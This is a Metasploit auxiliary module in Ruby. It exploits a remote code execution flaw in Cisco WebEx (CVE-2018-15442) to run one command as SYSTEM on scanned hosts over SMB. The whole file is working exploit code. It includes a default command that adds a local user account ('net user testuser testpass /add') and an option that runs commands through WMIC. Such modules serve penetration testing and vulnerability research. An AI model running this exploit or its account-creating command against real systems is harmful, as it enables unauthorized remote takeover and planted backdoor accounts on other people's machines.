webexec_command.rb

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::SMB::Client::WebExec
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Scanner

  # Aliases for common classes
  SIMPLE = Rex::Proto::SMB::SimpleClient
  XCEPT = Rex::Proto::SMB::Exceptions
  CONST = Rex::Proto::SMB::Constants

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'WebEx Remote Command Execution Utility',
        'Description' => %q{
          This module enables the execution of a single command as System by exploiting a remote
          code execution vulnerability in Cisco's WebEx client software.
        },

        'Author' => [
          'Ron Bowes <[email protected]>',
        ],

        'License' => MSF_LICENSE,
        'References' => [
          ['URL', 'https://webexec.org'],
          ['CVE', '2018-15442'],
          ['ATT&CK', Mitre::Attack::Technique::T1021_002_SMB_WINDOWS_ADMIN_SHARES]
        ],
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS],
          'Reliability' => []
        }
      )
    )

    register_options([
      OptString.new('COMMAND', [true, 'The command you want to execute on the remote host', 'net user testuser testpass /add']),
      OptPort.new('RPORT', [true, 'The Target port', 445]),
      OptBool.new('FORCE_GUI', [true, 'Ensure a GUI is created via wmic', false]),
    ])
  end

  # This is the main control method
  def run_host(ip)
    @smbshare = datastore['SMBSHARE']
    @ip = ip

    # Try and authenticate with given credentials
    if connect
      begin
        smb_login
      rescue Rex::Proto::SMB::Exceptions::Error => e
        print_error("Unable to authenticate with given credentials: #{e}")
        return
      end

      command = datastore['COMMAND']
      if datastore['FORCE_GUI']
        command = "WMIC PROCESS CALL Create \"#{command}\""
      end

      wexec(true) do |opts|
        execute_single_command(command, opts)
      end

      print_good('Command completed!')
      disconnect
    end
  end
end